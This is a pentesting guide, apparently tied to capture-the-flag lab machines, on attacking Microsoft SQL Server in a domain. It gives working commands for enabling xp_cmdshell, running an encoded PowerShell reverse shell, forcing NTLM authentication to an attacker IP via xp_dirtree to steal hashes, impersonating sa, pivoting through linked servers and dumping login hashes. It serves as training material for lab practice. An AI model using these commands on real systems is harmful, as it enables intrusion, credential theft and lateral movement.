MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft
Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
SQL Server (port 1433) comes up again and again on the catalogue's Active Directory machines: Querier, Escape, Manager, StreamIO, EscapeTwo... A user with database access can end up running commands on the server, stealing its service account's hash or hopping to another server. This is MSSQL abuse.
1. Connecting
# SQL account (a database-only user)
impacket-mssqlclient sa:'Password1'@10.10.10.10
# Windows / domain account
impacket-mssqlclient corp.local/user:'Password1'@10.10.10.10 -windows-auth
# With NetExec: test credentials and run queries
nxc mssql 10.10.10.10 -u user -p 'Password1'
nxc mssql 10.10.10.10 -u sa -p 'Password1' --local-auth -q 'SELECT @@version'
Credentials usually come from a config file on a share (connectionString, .config, .ini) or from a document, as on Querier (an Excel macro) or EscapeTwo (another spreadsheet).
2. Getting your bearings
Inside mssqlclient, the commands starting with enum_ do it for you:
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
enum_logins
enum_impersonate
enum_links
What matters is whether you are sysadmin (you can do almost anything), whom you can impersonate and which linked servers exist.
3. Running commands with xp_cmdshell
If you are sysadmin:
enable_xp_cmdshell
xp_cmdshell whoami
-- or by hand
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';
Commands run as SQL Server's service account (NT SERVICE\MSSQLSERVER or a domain account). It almost always has SeImpersonatePrivilege: from there SYSTEM is one step away with the SeImpersonate and Potatoes guide.
For a shell, download and launch nc.exe or a base64 PowerShell reverse shell (the PowerShell generator builds it for you):
EXEC xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4AdAAgAD0A...';
4. Stealing the service account's hash
Even if you are not sysadmin, almost any user can ask SQL Server to list a folder... on your box. When it connects, it authenticates with the service account:
sudo responder -I tun0 # or: impacket-smbserver -smb2support x .
EXEC master..xp_dirtree '\\10.10.14.5\x';
-- alternative
EXEC master..xp_fileexist '\\10.10.14.5\x\y';
Crack the NetNTLMv2 with hashcat -m 5600 (hash cracking) or, if there is somewhere to send it, relay it (NTLM relay). That is how Querier and Escape begin.
5. Impersonating another login
EXECUTE AS lets you act as another login if you have been granted IMPERSONATE. If that login is sa or a sysadmin, so are you:
enum_impersonate
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- in a database with TRUSTWORTHY on, also as the dbo user
USE somedb; EXECUTE AS USER = 'dbo';
mssqlclient has the exec_as_login sa shortcut.
6. Linked servers
A linked server is another SQL Server (or the same instance with other credentials) this one can send queries to. The link often uses an account with more privileges than yours:
enum_links
EXEC ('SELECT SYSTEM_USER') AT [SQL02];
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL02];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SQL02];
In mssqlclient: use_link SQL02, then the usual commands. Note that quotes double at each nesting level.
7. Reading files and secrets
-- Read a file (needs BULK permissions)
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x;
-- SQL login hashes (if you are sysadmin)
SELECT name, password_hash FROM sys.sql_logins;
The sys.sql_logins hashes crack with hashcat -m 1731 (SQL Server 2012 or later). And the application's own tables often hold usernames and passwords reused in the domain, as on StreamIO.
Common errors
Login failed for userwith a domain account: you are missing-windows-auth.xp_cmdshellsays you lack permission: you are notsysadmin. Checkenum_impersonateandenum_linksbefore giving up, and usexp_dirtreefor the hash.xp_dirtreesends nothing: the server cannot reach you on 445. Try a WebDAV path (\\10.10.14.5@80\x) with an HTTP server that captures NTLM.
What next
Once the service account's hash is cracked, that account may have an SPN: it is the starting point for a silver ticket (lateral movement) and for enumerating the domain with BloodHound (AD enumeration).